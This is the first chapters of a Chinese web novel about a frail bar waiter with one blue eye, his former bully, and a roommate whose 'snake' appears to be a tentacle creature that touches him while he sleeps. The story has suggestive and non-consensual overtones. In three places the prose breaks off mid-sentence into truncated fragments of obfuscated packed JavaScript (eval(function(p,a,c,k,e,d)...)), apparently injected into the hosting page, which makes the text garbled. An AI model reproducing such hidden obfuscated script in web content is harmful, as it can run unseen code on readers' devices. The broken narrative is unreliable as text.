《漂亮小可怜被触手怪盯上了》 1. 第 1 章 Sunset Club。 落日营地。 暖调的灯带缠绕着酒吧门头。 应晏收了伞,插进雨伞架里。他抬手护着头发,挤进玻璃门中。 音乐鼓噪,高脚杯磕碰间,酒液映射着令人眼花缭乱的彩光。 应晏目不斜视地穿过蓝紫光束,掌心扫了扫沾到小水珠的发梢。 刚刚走到吧台旁,将要撩起门帘去换工作制服时,他就被某个人搂住了腰。 “应晏你可算来了!”抱着他的人发出哀嚎,不等应晏有所反应,楚偌就指着某处说,“那桌要了一打江小白,快帮我送一下!” 匆匆交代完,楚偌叹息道:“我顶不住了……” 被抱住的人显然才从惊讶里回过神,纤长的睫毛眨了好几下,才慢半拍地转过头,看向同事指着的地方。 灯光偏暗,只能看清桌子两侧的卡座都坐满了人。 迷离的灯光漫过双眼,应晏低着腰,本就并拢的双腿下意识夹得更紧,身子僵硬,不易察觉地颤抖着。 他尽可能与楚偌拉开距离,配合地拍了拍楚偌的肩,强笑起来,嗓音清润地回答:“辛苦了,我去送吧。” 他试图挣脱楚偌的圈禁,忽听见背后扯着嗓子冲他招手:“帅哥,来副扑克!” “哎,”应晏点头应下,低声哄楚偌,“你歇会儿吧。” 瘦弱的男生踩着小碎步在地毯上走着,彩灯在白皙的脸庞上流转,映照出颊边浅浅的梨涡。 应晏微微翘起嘴角,把扑克牌双手奉上,圆润双眼眯成弯弯的弧线:“先生,您的扑克。” 送来扑克的男生模样清秀,粉中透白的唇带着些微病气,只不经意一瞥,便叫人心生怜惜。 可细看他的双眼,却不由愣怔。 因为他有两只颜色不一样的眼睛。 右眼是中国人常见的深棕色,而左眼浅蓝,薄薄眼皮翕动时,像一汪清澈的海水,波光潋滟。 先生有一瞬间晃神,身旁的朋友们便一阵起哄。 那人被朋友调侃得脸红,极不自在地接过牌,对应晏微笑颔首。 “先生还有需要的话随时叫我。”应晏稍稍欠身,轻巧地转身离去。 他换上黑色马甲制服,整理好领口和袖口,端起吧台上的托盘,慢慢地、稳稳地,送到同事指示的位置。 “打扰一下,你们的江小白。”应晏仍挂着营业性的微笑,落在旁人眼中,只看得见他笑得极甜。 酒杯叮呤当啷地碰出轻响,应晏将酒给客人们满上,方才准备离开。 “应晏?” 手腕毫无预兆地被扣住,应晏惊愕转头,撞上一道同样诧异的视线。 “真的是你啊。”抓住他的人随即笑起来。 应晏挣开手,眼睛被对方眉骨上张扬的眉钉刺痛,他盯着那张脸回想许久,脸色倏然变得煞白。 他不确定地叫出对方的名字:“……刘宁?” “是我!”刘宁像是根本没觉察到他的情绪,勾起一边唇角,故作亲昵地向应晏靠近,“老同学,我还以为你贵人多忘事,早就不记得我了。” 刘宁身上穿着昂贵的服饰,跟应晏靠得越近,两人之间的差距便骤然凸显。 刺鼻的烟草味扑向应晏的鼻腔,他不适地朝后缩了缩。 应晏忍着心底的排斥,向老同学挤出生涩的笑:“当然不会忘。” 那可是他幼年时期,最好的朋友。 应晏的排斥不算明显,在场的人都只当他们是久别重逢互相寒暄。 可刘宁并没有罢休。 他把身边的朋友往里挤,空出一个只坐得下半个屁股的地盘,朝应晏拍了拍:“坐啊,我们喝两杯?” 应晏摇头拒绝,精致的脸上浮现出一丝赧然:“抱歉先生,酒吧规定上班时间不能喝酒,您如果有其他需要,我们都尽量办到。” 刘宁指着不远处陪酒的人,向应晏挑眉:“那不就有一个?” 他像是懂了什么,从兜里掏出几张百元大钞,塞进应晏制服的口袋里:“这是给你的小费,一会儿我们多点几杯酒,是可以记到你的提成里的,对么?” 应晏只觉得一阵恶寒,他把钱塞回刘宁手里,连拒绝的理由都不想再编:“抱歉先生,我真的陪不了。” “怎么陪不了?一个服务生拒绝客人不好吧?” 说完,他恍然大悟地望向应晏,接着痛心疾首道:“我知道了,应晏你还记得那年的事不肯原谅我么?” 应晏心头一沉。 此话一出,坐着的其他人都竖起了耳朵。 刘宁继续道:“对不起应晏,我那时候真的贱,现在想起来,对你造成了好大的伤害。” 说着,刘宁干脆直接站了起来,真心实意地对应晏鞠了一躬:“我错了,应晏,都过去那么久了,你不会跟我计较的吧?” 这边动静太大,客人向服务员鞠躬道歉更是吸引了无数目光。 应晏薄唇微抿,狠狠地捏紧手指,一抹绯红从脖颈漫上耳尖。 良久,他言不由衷地回答:“不会。” 刘宁顺水推舟地举起酒杯,递到应晏唇边:“应晏,喝了这杯酒,我也不逼你了,我们一笔勾销,好不好?” 同时,那叠钞票重新进入应晏的口袋。 应晏却突然笑了。 眼底泛着轻微的红晕,积蓄着薄薄的水雾。 一笔勾销? 说得那么轻巧,那他受过的委屈呢? 一个施暴者,竟然可以故作体贴地替受害者说原谅。 “他说了不喝。”没等应晏回应,远处便传来一道磁性的男声,伴随着不容抗拒的威胁。 脚步越来越近,带来的阴影将应晏整个笼罩住。 人群顿了顿,转而看向来者。 高挑的男生停在应晏背后,与令人胆寒的语气不同,男生长相干净端正,甚至称得上很有亲和力。 围坐在桌边的同伴一个个噤了声,连茶里茶气的刘宁都像个小鸡崽一样低了头。 应晏朝身后看了一眼,看到一片宽阔的胸膛。 他再仰起头,跟来人目光相撞。 漆黑的瞳孔,映着应晏的倒影。没有想象中的咄咄逼人,反倒盛满温润的笑意。 应晏愣愣地跟他对视半晌,才想起叫人:“夏……学长。” 他记得这个人,是跟他合租的室友,搬进出租屋的这些天来,不可避免地碰见过几次。 虽然不是很熟。 此刻,夏丛对他弯弯嘴角,柔和的目光像是在他脑袋上呼噜了一下毛:“去忙吧,别管他。” 应晏感激地点头,绕过学长的庞大身躯。 肩膀擦着对方手臂而过时,应晏摸了摸自己早已发烫的脸,低声说:“谢谢。” 塞到他口袋里的几张钱,随着他的脚步,落到地毯上。 应晏回到吧台前,搭在台面上的手指还在微颤。 或许委屈得不轻,胸腔里的心脏久久不能停息。 周遭的喧嚣到他耳中,像潮水一样涨了又散。 夏丛身边有同伴簇拥。 上学期参加的竞赛拿了奖,小组成员趁着刚开学,约着喝庆功酒。 他来迟了,要罚三杯。 夏丛爽快地一饮而尽,同伴就鼓掌起哄。 夏丛好像很受欢迎。 明明在校园墙上,被室友挂上去吐槽过。 应晏第一次见到夏丛,就想起这个据说会在床上养蛇的人。 开学前,是夏丛主动来男生寝室,帮素不相识的应晏搬运沉重的行李。 在学校的林荫道上,应晏好奇问了一句,夏丛就坦率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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耳边一时清静,只剩下几个同事打扫的沙沙声,和最后一桌客人的谈话声。 吧台边,他遇到了夏丛。 学长脸上浮起薄薄的酒红,袖口高高挽起,指尖上还挂着水珠。 应晏脚步一滞,朝夏丛笑笑,便低头走过。 可没想到夏丛是向他走来的。 夏丛随着他走到脏乱的桌边,看应晏一个个收起酒杯,又用抹布擦拭桌面。 高大的学长俯下身,跟应晏保持同一海拔。 “应晏,”学长叫他,他就懵懂地仰头,正对上陡然放大的俊脸,“你什么时候下班?” 灯光偏转过来,在应晏白皙的脸上投出绮丽色彩。 俊秀的男生反应了一会儿:“两三点吧,等最后一批客人离开……” 学长就蓦地打断他的话,浓眉蹙起:“不危险么?大半夜一个人。” 嗓音更低沉,说话间,酒气扑到应晏面前。 学长深邃的瞳孔沾了酒意,显得比平常他看到的还要黒。 应晏后知后觉地侧过头,瓷白的耳尖也被酒精染红。 他向后倾身,迷惘地望向不算熟悉的学长:“没事的吧,我一个人走习惯了。” 不知道夏丛听进去没有。 应晏等了片刻,面前的学长被麻痹了大脑,暂时没有任何反应。 他只好背过身去,专注地擦拭桌面的污渍。 可下一秒,余光便看见那个人影动了动,坐在应晏旁边的卡座上。 学长说:“我们一起回家吧。” 2. 第 2 章 “家?” 应晏已经很久没有听到过这个词了。 斑驳彩灯下,异色的双瞳略微睁大,纤长睫毛上下扇了扇。 夏丛只是沉默地坐在原地,漆黑的眼眸一眨不眨地望着他。 而后,应晏弯起眼尾,清脆地答道:“好!” 于是在夏丛的视线里,应晏羸弱的身影在酒吧里穿梭。 应晏清理了店面,盘点完酒具,把洗净又拧干的抹布叠得方方正正。 最后,灯光渐次熄灭,那个肤色苍白的小男生也缓缓靠近。 工作马甲换成了干净的T恤,骨节分明的纤手,局促地将衣角攥得皱起。 浓稠蜜糖一样的嗓音,随着弯腰贴近的动作,传入夏丛的耳朵:“学长,可以走了。” 夏丛如梦方醒。 眼珠缓缓聚起焦,他借着应晏伸来的手,从卡座离开。 两对脚步踩碎照入玻璃门的月辉,长风贯穿夜色,“咔嗒”声响落,应晏熟稔地锁好门。 转头,高挑的学长便倚在门框上,抱着手,指骨间挂着雨伞的黑绳。 应晏与他错开身,抽出自己的伞,才虚挽着夏丛的手臂,两个人摇摇晃晃地在雨后清新的空气里游荡。 破旧的红灯笼悬在灰尘沾满的白线上,凉风从背后向他们涌来。 树枝窸窸窣窣地狂摆,野猫野狗惊叫着逃窜。 应晏被“嗷呜”的嘶吼吓到颤了颤。 可相贴的手臂上能感觉到夏丛的体温,他很快就镇定下来。 往常瘆得发凉的这条路,因为多了一个人陪伴,应晏头一次不再抱着手臂四处打量,总是埋着头加快的脚步也放松地慢了下来。 而醉鬼总会没话找话。 夏丛好像感受到他一瞬间的颤抖:“你怕?” 应晏摆摆脑袋:“不怕。” 夏丛:“可是你全身都在抖。” 应晏耳根登时红了一片,大声快速地狡辩:“是太冷啦!” 夏丛就若有所思地停下来:“冷么?” 九月半依旧燥热,即使刚刚下过一场雨,风里也只是带着令人舒爽的淡淡凉意而已。 反观眼前的男生,站直了才勉强有他的肩膀高,骨架瘦弱,手腕细得一只手就能握住,皮肤泛着病态的白。 醉鬼不疑有他,机械地点了点头。 下一秒,夏丛的胳膊从应晏手臂间抽出。 等应晏反应过来,他的肩就被滚热的温度环绕着。 ——夏丛揽住了他。 温热的体温隔着薄薄衣料,从侧面将应晏包裹。 他的头都被夏丛结实的臂膀贴住。 应晏身子一僵,想挣脱,又怕醉鬼站不稳被他绊倒。 醉鬼一无所察,只是侧过头,气息呼在应晏发梢:“这样会不会好点?” 应晏噤了声,随着夏丛前进几步。 愣怔几秒后,应晏点头,低低地“嗯”一声。 只是脑袋埋得更低。 如果他在漫画世界里,自己的头顶一定会蒸腾起蘑菇形状的热气。 老旧小区地方不大,从正门进入,再走几步,就到了他们所住的楼栋。 墙面上印着开锁和疏通下水道的广告,头顶灯泡表面笼着一层黑。 他们乘着电梯,抵达七层的出租屋门前。 夏丛总算松开了他,十分自觉地掏出钥匙,插进锁孔,拧开门锁。 门缝缓缓拉开,拔出钥匙顺势抬脚要进去的学长,突然想起什么般,停下了脚步。 黑黑的眼睛转向角落的男生:“你先进吧。” 夏丛房间里有蛇。 应晏本来打算等学长进房间关了门,他才小心摸进去。 但学长显然考虑到了这点。 比起大街上未知的危险,夏丛房里那个才是实实在在的威胁,他是真的怕。 所以应晏没有否认。 水灵灵的双眸里溢满感激,他重重点头,敏捷地闪进自己房间,关门前,贴在门板上,只露出一个毛茸茸的脑袋。 “谢谢学长!” 应晏躺在薄毯下,记起了在酒吧时,他一闪而过的念头。 夏学长人真好。 他抱着憨态可掬的小熊玩偶,揉了揉它的头顶,侧脸贴在小熊宽阔的胸膛。 不知不觉间,陷入了梦境。 深林里潮湿的沼泽,旁边古木参天,像身着黑甲的阴兵,狰狞地从高处睨下来。 随后,四面八方伸来藤蔓,幽凉的、湿滑的,从足底攀缘而上,顺着小腿的肌肤,一圈一圈地缠绕。 应晏腿都软了。 心跳持续加速,他几乎快要感受不到腿的存在。 猛然惊醒。 应晏搂紧小熊,惊魂未定地喘气。 噩梦的阴霾还没彻底消散,应晏试着动动软掉的腿脚,将将恢复平静的眉眼,重新被恐惧覆盖—— 他的腿,正被冰凉的东西缠着,跟梦里的藤蔓一样湿滑。 甚至他动脚的时候,那东西也绕着他的腿,缠了一圈。 不软不硬的一条蛇形物体,遍布异形的凸起,从门缝钻进来,缠在应晏腿上。 看不到它的头。 应晏想叫出声,可是那声惊叫堵在喉咙,让他发不出一点声音。 人在极度恐慌的时候,是会失声的。 应晏只能大脑空白地愣在原地,眼睁睁看着它爬到自己的腿根,短暂停留片刻。 像是察觉到了他的恐惧,“蛇”停了下来,蜷曲的身体迅速收回。 临走前,又缓慢地攀到床头,不太熟练地在应晏脑袋上前后扫动。 像是笨拙地呼噜了一下他吓到的毛。 房间里,那条蛇彻底不见了踪影。 而应晏如同被催眠一般,抱着他的小熊,再次进入睡眠。 * 翌日。 应晏确信,昨晚他亲眼见到了夏丛的蛇。 又粗又长的蛇。 就连他醒来后,都能感觉到腿间有黏黏的东西。 但它干掉了,应晏只用手摸,也感受不出是什么。 他想去洗澡。 可门外仿佛藏着无数条嗜血的蛇,眼里闪着幽光,贪婪地翘着头部,只消他一开门,就能将他扑食。 就连房间里,也好像蛰伏着一条长蛇。 应晏紧张地搜了一圈,一无所获,心底却总担心那东西还藏在某处。 要不,找学长问问? 学长昨晚喝醉,不知道醒了没有。 他在床沿坐了会儿,头发乱糟糟的,掩在底下的双眼纯良无害。 “咔嗒。”对面的门开了。 一阵细碎的脚步声,合租室友进了洗手间,“啪嗒”合上门。 紧接着是洗漱的水声。 学长一声长叹。 随后开门,脚步声慢慢靠近,在应晏门前停了下来。 再远离。 应晏靸着拖鞋下了床,小碎步跑到门边,耳朵贴在门板上,眨巴着眼睛,细听对面的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他听见夏丛笑了一声,逐渐远离,直至对面的门也关上。 “好了,现在我也回房间了,不用害怕。” 应晏没有回应。 虽然学长说自己的蛇已经关起来了,他却还觉得或许蛇吸引来了同类,才会在半夜趁夏丛都没有发现的情况下,绕到他的房间里。 总之,人害怕的时候,什么荒诞离奇的事情都能想到。 于是,门缝、手机、脑袋。 确认安全后,应晏站在夏丛房间外,叩响了门。 夏丛的脸重新出现在眼前。 身材魁梧,应晏需要仰着头才能和他对视。 而夏丛贴心地弯下腰,挡住屋内的陈设,唇角的弧度依然明媚:“有事么?” 应晏摇摇头,又点头。 他不知道,自己的双腿·间、脸上、发梢,都残留着昨夜“蛇”留下的黏液。 即使早已干透,却像被标记过一样,向对方宣告那样恶劣的占有。 漂亮的双眸涌起清波,在淡蓝的左眼里尤为清晰。 应晏捏紧拳头,才下了决心一般,对夏丛小声控诉:“学长,你的蛇好像跑进我房间了,昨晚还缠着我的大腿……” 夏丛眉峰一挑,笑容更盛地挂满面庞,十分抱歉地说:“不好意思,它有点不听话。” 语气情真意切,仿佛真的在懊悔。 应晏便抿着唇,露出腼腆的笑意:“学长,我总觉得房间里还有一条,不知道它有没有出去,现在找不到它……” 应晏眨眨眼,白皙的脸上浮起红晕,更小声地提出自己的不情之请: “你能进我房间,帮我找找看吗?” 3. 【作话阅读指南】 周日傍晚的酒吧,客人还不算多。 玻璃门被残阳染成酒红,光里浮动着明亮的尘埃。 吧台背后,身穿工作马甲的服务生跟调酒师搭着话。 “他昨晚跟人一起走的,两个人在路上拉拉扯扯。” 调酒师一如既往地冷着脸,雪克杯里的冰块磕碰出脆响:“所以呢?” “你得快点行动了啊!就不怕他被抢走?”服务生促狭地斜睨着对方,目光里带着些审视,以及一丝轻易察觉不了的、谨小慎微的试探。 青筋暴起的手臂停下晃动,调酒师面不改色地将酒液注入高脚杯。 “那是他的事。” 服务生就嗤笑着拍手:“你昨天要是看见了,还会这么说么?” “他们走了几步就抱在一起,不像只见过一两次的样子,”服务生说着,抬起下巴朝停在玻璃门外的黑色豪车点了点,“喏,才大学就开这种车,家境肯定很好。” 调酒师闻言朝门外瞥了一眼,先闯入眼帘的却不是豪车。 夕阳一瞬间照亮视野,肤白的男生正巧赶来,金光勾勒出他毛茸茸的发梢。 也映出淡蓝的左眼。 “说起来,他好像挺缺钱的吧。”服务生道。 调酒师倏地收回视线,将盛满甜腻酒水的高脚杯搁在托盘里。 液面颤颤巍巍地乱晃着。 调酒师目光带着冷意地扫向说话的人,语句毫不客气:“和谁在一起是他的选择,‘抢’这个字很不尊重人。” “还有,在背后编排别人的私生活,只会显得自己没有底线。” 门外的男生浑然不知,照常走进酒吧,看见吧台旁横眉相对的两个人,当即扬起微笑。 “楚偌,龙杭哥。” 眯起的双眸里涌动着细碎的光,而跟人视线接触时,他总是快速垂眸,睫毛扑闪扑闪。 龙杭淡淡颔首。 楚偌张了张嘴,哑口无言。朝调酒师翻了个白眼,随即若无其事地挂起笑意,热情地迎接应晏:“今天来这么早!” “嗯,”应晏点头,极力忽略掉被握住的手臂,朝更衣室的方向走,“早点来混时长。” 楚偌关切地捧起应晏的脸,左看看右看看,语气夸张地问:“怎么黑眼圈这么重,昨晚是不是太辛苦啦?” 话里有话,听得调酒师眉目一凛。 应晏浅浅地笑起来,抬手揉了揉眼底的乌青,毫无防备地说:“这么明显么?” 楚偌勾起唇角。 应晏很认真地说:“昨天做了噩梦。” 他眼尖地看到楚偌眼底的乌青,体贴道:“不过你也有哎,要注意休息哦。” 楚偌笑意凝固一瞬,脸上青一阵白一阵跟彩灯似的。 不过他很快调整好,对应晏扯了扯嘴角:“好啊,谢谢你。” 楚偌送人到更衣室门口,就不便进入,只好松开应晏,转头去干自己的工作。 应晏从不会过问旁人刚刚结束的话题。 小学、初中的时候,他偶尔会在热闹的班级群里试着加入同学们的聊天。可只要他一出现,群里就莫名其妙地冷了下来。 在学校里也一样。 久而久之,应晏就学会了闭嘴。他不会好奇别人说了什么,也不会期待有人过问他的意见。 所以,他换好工作制服,看到门边楚偌和调酒师略显僵持的氛围,没有多问,只是勤勤恳恳地开始跑腿。 八点多,天刚刚擦黑。五彩斑斓的灯光伴随着音乐鼓点,让人眼皮和耳朵同时震颤。 热火朝天的酒吧门口,忽然出现一个高大的身影。 忙了小半天,应晏颧骨上蒸出薄红,几缕发丝贴在额角。 方歇下来几分钟,余光扫到推门而入的新客,应晏忙不迭前去迎接,摆出迎客的动作:“先生……” 脑袋上抬,看清来者,称呼硬生生拐了个弯:“学长?” 不久前,他才邀请过夏丛进他的房间。夏丛每个角落都排查一遍,跟他说没有蛇之后,应晏才彻底放下心来。 回过神发现自己无意间竟然提了这种失礼请求的应晏,第一反应是庆幸。 幸好他的房间总是很干净。 不过,学长来酒吧做什么呢? 一米九的大高个,俯身对应晏露出爽朗的笑。 变幻的灯光,将他的五官映照得更加分明。 像是知道应晏心里疑惑,夏丛自若地解释:“昨天喝了酒没开车,今天来开回去。” 他领着应晏往里走,坐到空着的位置上:“我正好处理点事情,来杯果汁吧,可以多待一会么?” 来酒吧蹭座位,不点东西的确不太好。 主要是迎接他进来的应晏会为难。 “可以,学长稍等。” 应晏雀跃地跑去吧台,双眼亮晶晶地点单,端了果汁,又雀跃地送给夏丛。 夏丛含笑着看他轻快的脚步,从桌上抽出张纸巾,轻轻在应晏额头间点擦。 无意间撩起的发丝,在湖水一样的左眼间投下荡漾的涟漪。 应晏下意识想躲,可夏丛动作轻柔,沉静的眸光像是有吸引力,令应晏不自觉就呆在原地。 然后,他俯下身,为了让学长抬起的手臂更加顺畅。 夏丛把汗津津的纸巾扔进纸篓里,敲了敲键盘:“去忙吧。” 应晏被叫回魂,懵懵懂懂地直起身,程序性说一句“学长有需要再叫我”,就背过身去。 临走前,应晏扬起手,流光漫过他俊秀的面庞,双颊间陷出甜美的梨涡。 “谢谢学长!” 吧台背后,楚偌抱着手,看向不远处的男人。 说是处理事情,可应晏离开后,就没敲过一下键盘。 反而目光跟随着应晏,满酒吧乱绕。 楚偌:“昨天跟应晏在一起的,就是那个。” 龙杭专注摇酒,眼皮都没抬一下:“哦。” 楚偌顿时没了话,咬牙切齿地走了。 只是片刻后,当调酒师闲下来,便不由自主在人群里寻找应晏的身影。 而应晏认真工作,没有注意到调酒师长久凝望的视线。 更没有注意到,夏丛为他拦了一个人。 穿金戴银的男人刚进酒吧,就直直朝应晏的方向走去。 半路伸出一只粗壮的手臂,稍一使力,便将男人拽倒在酒桌对面。 “我……”刘宁猛地坐起来,一句粗话还没出口,看到屏幕光映亮的一张人脸,脖子一缩,“夏学长?” 白光照着下半张脸,如深渊般的双瞳只微微眯着,淡色唇角幅度很小地提了一下。 夏丛:“来找应晏?” 刘宁紧张的神情便放松下来:“是啊。” ……操,还以为是匆匆敷衍完交上去的资料被逮了。 学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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学长居高临下地望过来,低垂的眼皮遮住双眸里的一半笑意。 “要不,你改天再来?” 刘宁却不肯走了。 他死皮赖脸地唤服务生上了酒,横屏打开游戏,骂骂咧咧地冲手机喷口水。 酒吧人多嘈杂,他的骂声被音乐淹没,便也算不得刺耳。 应晏连着跑了好几个小时,有点力不从心地靠在吧台边,偶尔擦擦汗,跟调酒师随口聊几句,又端着酒跑向下一桌客人。 夏丛朝人群里那个瘦弱的男生投去一瞥,收回视线,修长有力的指尖在键盘上继续敲击。 刘宁连跪几把后,抹了一把嘴角的唾沫,又抓狂地挠挠头发,“啪”地把手机倒扣在桌上。 学长还是那副悠然和煦的样子,即使在沸反盈天的酒吧里,还能保持目光专注。 刘宁阴气沉沉地盯了学长几秒,蓦地笑了:“学长等应晏倒是很有耐心。” 骨白的双手停下动作。 夏丛抬眼,不咸不淡地向他看来。 “你也等了很久。” “哦,确实。”刘宁说。 “学长对应晏挺上心的。” 夏丛不置可否。 指尖沿着键帽边缘磨了磨。 既然是邻居,互帮互助很正常吧。 “不过应晏啊,”刘宁故意拖长尾音,欣赏着夏丛明显变得关注的反应,莞尔,“他确实有点可怜呢。” 如他所料,听到这句话,态度疏离的学长应声抬头。 夏丛眉心一跳。 只在开会时露出的压迫感直逼着他。 夏丛沉声道:“你什么意思?” 4. 第 4 章 看到夏丛如他预想一般的反应,刘宁不动声色地勾了勾唇角。 身子朝桌面贴近,脖子伸到夏丛眼前,刻意压低音量说:“你不知道么?” 夏丛当然不知道。 他跟应晏只是恰好租到同一套房而已,真正说得上话的机会屈指可数。 而且,谁会跟不熟的人谈身世啊? 不过刘宁靠得太近了。 几乎半边身体都压在桌子上,把夏丛的笔记本屏幕小幅度折了下去。 夏丛将笔记本朝自己挪了挪。 刘宁这才坐回去,露出了然的神色。 随即摆出一副无所不知的拽样。 “你也看到了,他有只眼睛是蓝色的。没人跟他一样,他特殊,就会被排挤。” “那时候没人和他玩,因为大家都说他是怪物。” “只要和他对视超过三秒,就会被诅咒,考砸、丢东西、摔倒,反正会变倒霉。” 刘宁耸耸肩:“只有我愿意和他玩。” 夏丛并没有对此发表任何看法,只是放在桌上的双手,随着刘宁的话,慢慢攥紧了拳。 夏丛:“眼睛是蓝色,就会被认为是怪物么?” 学长有些意外,好像真的对这个逻辑感到困惑。 刘宁噎了一下:“不一定,如果他两只眼睛都是蓝色,可能还有人觉得他是混血。” “不过,就算是混血,说不准也会被孤立,毕竟长得跟大家不一样。” 人潮攒动,绚丽光束打在男生的侧脸。 应晏再一次向陌生客人说明,自己并没有戴美瞳,眼睛生下来就是这样。 于是换来或揣测、或惊羡的目光。 从应晏身上收回视线,夏丛手上依旧处理事情,注意力却放在刘宁向他透露的往事上。 “他十二岁那年,爸妈出车祸没了,应晏被送到他舅舅家养大。” “别人家的肯定比不上自己家,应晏在学校被同学冷暴力,在家也被表弟欺负。” “他舅舅装瞎,他就跑到我这里哭,”刘宁说到这里,扯起嘴角,稍显轻蔑地笑,“对他好一点就眼巴巴贴过来,是不是很好骗。” 夏丛一向挂着笑意的脸色冷了下来,动作停顿间,瞥向刘宁的目光里带着不加掩饰的嫌恶。 刘宁倒是无所谓,接着说:“听说他报志愿的时候跟他舅舅闹了一场,去年大一一整年都没回家。” 他兴味盎然地盯住人群里穿梭的男生:“断绝关系,又被断了生活费,所以才会来这里打工吧。” 刘宁总结说:“谁知道他赚的那点钱够不够用。” 夏丛的脸庞陷在阴影里,黑得能渗出墨来。 刘宁状若无意地提醒:“说起来,我们竞赛小组还缺一个做数据分析的吧?应晏刚好专业对口。” 明显别有打算地望向夏丛,仿佛笃定夏丛会做出什么选择。 可夏丛只淡然地将视线掠过他,就好像刘宁说的这些都无关紧要。 这次轮到刘宁摸不着头脑了。 他还以为今晚能挖到什么八卦。 不过看夏丛无动于衷的反应,难道真的只是有事才来等应晏的? “啧。”刘宁狂躁地抓了把头发,耐心消磨殆尽,把剩下的酒一口闷掉。 酒杯重重地磕在桌面。 夏丛眼都没抬一下。 余光里,刘宁盯了他几秒,最终耐不住性子起身离开。 经过他身边时,缓慢地拍了拍他的肩。 脚步混在杂乱的人群里渐渐远去,夏丛才停下手头的工作。 他抬起头,一眼定位到那个特殊的存在。 肤色苍白的男生静悄悄地待在酒客身旁,站姿端正,脑袋低垂着,露出修长干净的后脖颈。 平常见得少没注意,此刻凝视着他,夏丛才倏然发觉,这个人实在有些过分瘦弱了。 马甲制服束紧的腰身不足一拃,手臂和双腿也显得伶仃。 无端让夏丛觉得,如果把他抱起来的话,应该会像抱玩偶一样,能整个把人藏进怀里。 他不由得出了神。 直到视野里,应晏的身影逐渐放大。 萦绕在鼻腔里的淡香随之变得清晰。 模样乖巧的男生停在夏丛一步之外的位置,稍稍俯身。 嗓音带着些微茫然:“学长?你还没走么?” 夏丛乍然回魂。 删掉出神时无意间按出的一串乱码,他弯下眼角,对应晏笑笑。 “嗯,还差一点收尾。” 应晏“哦”了一声,想了想,补充说:“我下班啦,学长还有需要的话可以找他。” 五指指向楚偌。 夏丛一顿,才发现应晏早就换下了制服。 “你下班了?”语气比应晏还要疑惑。 应晏理所当然地点点头:“嗯!今天夜班不是我。” 他注意到学长明显不对劲的脸色,体贴道:“学长需要的话,我也可以再……” “不用了,”夏丛斩钉截铁地打断了他,“等我一下。” 坐着的人合上电脑倏然起身,桌上没动过几口的果汁被一饮而尽。 随后,夏丛把电脑放回包里,提起,大步一跨,找前台结了账,再转回头,示意应晏赶上了。 诶??? 学长动作太快,应晏还没反应过来,只是朝招手的人奔去。 “你不是还没做完么?” “在哪都能做。”夏丛轻轻推了一把他的肩,将他带出去几步。 停在路边的车灯闪了闪,夏丛拉开副驾驶的门:“来,正好顺路,一起走吧。” 哪里是顺路…… 分明就是故意等他一起走的。 应晏低声嘟哝着,迟疑片刻,还是坐上了夏丛的车。 “谢谢学长。”语调比任何时候都要低。 他不喜欢接受任何人的好意。 这样会让他有负担。 于是,现在的应晏开始盘算着要怎么报答学长。 车窗摇开,车身缓慢向前流动。 应晏低垂着头,发丝被风吹得乱糟糟。行道树的影子从他脸庞掠过,偶然被照亮的手指放在腿上绞个不停。 夏丛只在路口等红灯时不经意朝他一瞥,就从他半抿的薄唇里读出来—— 这是又在纠结了。 校园附近的夜市人流如织,烟雾升腾散入空中,烤制食物的香气飘进车里。 路口的酒吧外,服务生硬拽着调酒师,朝红灯底下的豪车扬了扬下巴。 调酒师目光一沉,却不做回应,甩开服务生的手走回室内。 服务生跟了进去。 夏夜凉风和人群的笑语灌入那台豪车,而车内的空气仿若凝滞。 本来也不熟的。 夏丛没弄懂自己胸口作痛的缘由,最终无声地叹了口气,绿灯亮起,他踩下油门疾驰而去。 从并肩走进电梯,一直到大门开启后,他们都没有再说过一句话。 应晏对夏丛颔首,手刚刚搭上门把,就被背后的学长出声叫住。 “应晏。” 应晏转头。 客厅灯没开,他只能借着小区楼下的微光,勉强分辨夏丛的身影。 夏丛走过来,扶住他的肩。 “你是学的统计吧?”没头没脑的问句。 应晏愣愣地点头:“是。” 他等着学长的下文。 但夏丛有一阵没再说话。 静谧的黑暗里,只有他和夏丛此起彼伏的呼吸声。 一棕一蓝的眼睛在夜色里眨了眨。 他恰好决定开口询问的时候,听到夏丛极轻地长舒口气。 高出他一二十公分的学长更近一步,挡住了照进他视野的所有光源。 夏丛缓声说:“我手上有一个竞赛,A+Ⅱ类,现在是报名阶段,十二月校赛,下学期开学就是省赛国赛。我们已经确定好选题,有把握拿国一。” “……啊?”应晏有点懵。 似乎想把情况补充得更详尽,夏丛接着说:“比赛和学校的奖金加起来能有五六万,指导老师拿三成,剩下的均分,差不多每个人能拿两千左右。虽然不多……但不会占用太多时间,现在缺一个做数据分析的,我听说你是统计专业绩点第一,你想加入么?” 应晏半天消化掉这段话的意思。 如果只需要做数据分析的话,确实花不了他多少时间。可是…… 他记得那天和夏丛一起喝酒的人里,有一个是刘宁。 很多时候,合作过的组员会再次合作,跟人品和关系无关,只是这样组队方便。 但他实在不想再见到那张脸,连偶尔想起,都会觉得反胃。 奇怪的是,明明四周如此昏暗,夏丛观察不到他的神色,却能读懂他心里所想。 夏丛:“数据会在做完实验后发给你,你不需要参加会议,也不用见任何人。” 听起来的确让应晏轻松了许多。 然而对他这样地宽容,反倒显得像是为了他特意制定的规则一样。 学长应该看出来了,他和刘宁很不对付。 而应晏的确需要这笔钱,即使只有两千。 “我……” 应晏刚刚开口,一阵急促的铃声陡然响起。 应晏道声抱歉,手忙脚乱地摸出手机,屏幕亮起的光划破笼罩的阴影,应晏趁机瞄了一眼夏丛的表情。 还好,学长没有因为这通电话不悦。 乌黑的眼眸微微垂着,看向他的目光很有耐心。甚至会主动回避视线,对应晏颔首牵起嘴角,就转过头,没有关注来电人的名字。 应晏这才看清屏幕上显示的来电信息: “舅舅”。 不知对方是不是因为应晏片刻的迟疑而不耐烦,电话铃声响了几声就挂断,随即重新拨了过来。 